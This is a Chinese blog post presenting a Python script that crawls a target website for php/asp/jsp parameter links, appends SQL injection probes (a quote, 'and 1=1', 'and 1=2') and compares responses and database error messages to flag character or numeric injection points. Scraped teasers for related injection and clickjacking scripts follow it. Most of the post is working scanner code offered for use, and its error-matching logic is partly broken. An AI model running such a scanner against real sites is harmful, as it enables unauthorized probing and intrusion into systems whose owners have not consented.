前言:

昨天晚上其实就已经写完代码。只不过向FB投稿了,打算延迟一晚上在写博客

所有才到今天早上写。好了,接下来进入正题。

思路:

1.从网站源码中爬取那些类适于:http://xxx.com/xx.php?id=xxx的链接

2.将这些爬取到的链接写入一个URL

3.加入payload

4.用正则过滤掉一些残缺不全的链接

5.将一些报错语句加入一个列表

6.从报错的语句中寻找错误

7.判断字符型注入或数字型注入

代码:

 import requests,re,time,os
 from tqdm import tqdm
 from bs4 import BeautifulSoup
 def zhuru():
     global x,headers,ps
     user=input('[+]Please enter the URL you want to test:') #用户输入要检测的网站
     url="{}".format(user.strip()) #去除两边的空格
     headers={'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
     request=requests.get(url,headers) #浏览器头
     shoujiurl=[] #创建一个收集URL链接的列表
     rse=request.content
     gwd=BeautifulSoup(rse,'html.parser')
     php=gwd.find_all(href=re.compile(r'php\?')) #寻找后缀名为php的链接
     asp=gwd.find_all(href=re.compile(r'asp\?')) #寻找后缀名为asp的链接
     jsp=gwd.find_all(href=re.compile(r'jsp\?')) #寻找后缀名为jsp的链接
     print('[+]Collection URL ')
     for i in tqdm(range(1,500)): #进度条
         time.sleep(0.001) #进度条
     for lk in php:
         basd=lk.get('href') #提取其中的链接
         shoujiurl.append(basd) #加入列表
     for ba in asp:
         basd2=ba.get('href') #提取其中的链接
         shoujiurl.append(basd2) #加入列表
     for op in jsp:
         basd3=op.get('href') #提取其中的链接
         shoujiurl.append(basd3) #加入列表
     print('[+]Collection completed')

     huixian=[]
     huixian1 = "is not a valid MySQL result resource"
     huixian2 = "ODBC SQL Server Driver"
     huixian3 = "Warning:ociexecute"
     huixian4 = "Warning: pq_query[function.pg-query]"
     huixian5 = "You have an error in your SQL syntax"
     huixian6 = "Database Engine"
     huixian7 = "Undefined variable"
     huixian8 = "on line"
     huixian9 = "mysql_fetch_array():"

     huixian.append(huixian1)
     huixian.append(huixian2)
     huixian.append(huixian3)
     huixian.append(huixian4)
     huixian.append(huixian5)
     huixian.append(huixian6)
     huixian.append(huixian7)
     huixian.append(huixian8)
     huixian.append(huixian9)
     for g in huixian:
         ps="".join(g) #过滤掉[]

     payload0="'"
     payload1="''"
     payload2="%20and%201=1"
     payload3="%20and%201=2"
     for x in shoujiurl:
         yuan="".join(x) #过滤掉[]
         ssdx="".join(x)+payload0 #添加payload
         ssdx2="".join(x)+payload1
         ssdx3="".join(x)+payload2
         ssdx4="".join(x)+payload3
         pdul=re.findall('[a-zA-z]+://[^\s]*',ssdx) #过滤掉一些残缺不全的链接
         pdul2=re.findall('[a-zA-z]+://[^\s]*',ssdx2)
         pdul3=re.findall('[a-zA-z]+://[^\s]*',yuan)
         pdul4=re.findall('[a-zA-z]+://[^\s]*',ssdx3)
         pdul5=re.findall('[a-zA-z]+://[^\s]*',ssdx4)
         psuw="".join(pdul) #过滤掉[]
         psuw2="".join(pdul2)
         psuw3="".join(pdul3)
         psuw4="".join(pdul4)
         psuw5="".join(pdul5)
         try:
             resg=requests.get(url=psuw,headers=headers,timeout=6)
             resg2=requests.get(url=psuw2,headers=headers,timeout=6)
             resg3=requests.get(url=psuw3,headers=headers,timeout=6)
             resg4=requests.get(url=psuw4,headers=headers,timeout=6)
             resg5=requests.get(url=psuw5,headers=headers,timeout=6)
             if resg.status_code == 200: #判断状态码是否等于200
                 print('[+]The first step is completed, and the goal is to be stable')
                 time.sleep(1)
                 if resg.content != resg2.content and resg3.content == resg2.content:  #判断是不是字符型注入

                     print('[+]Existence of character injection')
                     print(resg3.url)
                     print(resg3.url,file=open('character.txt','a')) #如果是写入脚本
                 elif resg4.content != resg5.content and resg4.content == resg3.content: #判断是不是数字型注入
                     print('[+]Digital injection')
                     print(resg3.url)
                     print(resg3.url,file=open('injection.txt','a')) #如果是写入脚本
                 else: #两者都不是
                     print('[+]Sorry, not character injection')
                     print('[+]Sorry, not Digital injection')
                     print(resg3.url)
                 if ps in str(resg2.content):
                     print('[+]The wrong sentence to be found',ps)
             elif resg.status_code != 200:
                 print('http_stode:',resg.status_code)
                 print('[-]Sorry, I cant tell if there is an injection')
         except:
           pass

 zhuru()

测试结果如下:

python打造一个分析网站SQL注入的脚本的更多相关文章

  1. python打造一个Mysql数字类型注入脚本(1)

    前言: 总是想写一个sql注入脚本,但是之前的那些都不行. 这次做好了准备,然后嘿嘿嘿. 准备: sql注入的基础知识 熟悉怎么判断 正文: 思路概念图: 这里我没有限制用户输入,不限制的话可能会 @ ...

  2. 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

    前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...

  3. Python预编译语句防止SQL注入

    这个月太忙,最近不太太平,我的愿望是世界和平! ================================== 今天也在找python的预编译,早上写的sql是拼接来构成的.于是找了2篇文章,还 ...

  4. phantomjs + python 打造一个微信机器人

    phantomjs + python 打造一个微信机器人 1.前奏   媳妇公司不能上网,但经常需要在公众号上找一些文章做一些参考,需要的时候就把文章链接分享给我,然后我在浏览器打开网页,一点点复制过 ...

  5. python之MySQL学习——防止SQL注入

    python之MySQL学习——防止SQL注入 学习了:https://www.cnblogs.com/xiaomingzaixian/p/7126840.html https://www.cnblo ...

  6. Zabbix sql注入漏洞脚本执行反弹shell

    exp检测是否存在SQL注入漏洞root@ubuntu:~# python zabbix.py http://ip:9090/+------------------------------------ ...

  7. zabbix(sql注入判断脚本)

    zabbix(sql注入判断脚本) #-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): ...

  8. python 打造一个sql注入脚本 (一)

    0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...

  9. 电子商务网站SQL注入项目实战一例

    故事A段:发现整站SQL对外输出: 有个朋友的网站,由于是外包项目,深圳某公司开发的,某天我帮他检测了一下网站相关情况. 我查看了页面源代码,发现了个惊人的事情,竟然整站打印SQL到Html里,着实吓 ...

随机推荐

  1. JavaScript操作Cookie

    在Web开发中,我们经常使用Cookie保存一些不是非常敏高的数据.比如“下次自动登录”,“广告显示”等功能.定义是:某些网站为了辨别用户身份而存储在用户本地终端(主要是浏览器)上的数据.定义域RFC ...

  2. dedecms 使用

    初看dedecms的后台界面就是一头雾水.不懂的词语多,什么模型,什么栏目,什么频道,不懂.相比于wordpress的分类category,标签tag,文章post,页面page而言,织梦后台难懂. ...

  3. LCA(RMQ)

    ; xh=; ..lx*] of longint; lt,dfn,fr,dep:..lx] of longint; f:..lx*,..xh] of longint; vis:..lx] of boo ...

  4. JS判断是不是Decimal类型(正则实现)

    备忘: function isDecimal(item) { var obj = $(item); if (obj.length > 0) { if ($(obj).val() != null ...

  5. Coursera Machine Leaning 课程总结

    最近机器学习比较火热,身边很多同学都有兴趣,恰好Coursera上面有这门课.讲授这门课的Andrew教授任职斯坦福大学,是coursera的联合创建者,在机器学习领域颇有成就,身边的同学也有几位上这 ...

  6. Linux crontab定时器设置(定期执行java程序)(转)

    Crontab 语法 Crontab语法一个crontab文件用五个段来定义:天,日期和时间,和一个要定期执行的命令代码. *    *  *  *   *  command to be execut ...

  7. Golang fmt包使用小技巧

    h1 { margin-top: 0.6cm; margin-bottom: 0.58cm; direction: ltr; color: #000000; line-height: 200%; te ...

  8. Stackoverflow上人气最旺的10个Java问题

    1. 为什么两个(1927年)时间相减得到一个奇怪的结果? (3623个赞) 如果执行下面的程序,程序解析两个间隔1秒的日期字符串并比较: 01 public static void main(Str ...

  9. 转载aaa

    前言   对于喜欢逛CSDN的人来说,看别人的博客确实能够对自己有不小的提高,有时候看到特别好的博客想转载下载,但是不能一个字一个字的敲了,这时候我们就想快速转载别人的博客,把别人的博客移到自己的空间 ...

  10. mysql 开发进阶篇系列 6 锁问题(事务与隔离级别介绍)

    一.概述 在数据库中,数据是属于共享资源,为了保证并发访问的一致性,有效性,产生了锁.接下来重点讨论mysql锁机制的特点,常见的锁问题,以及解决mysql锁问题的一些方法或建议. 相比其他数据库,m ...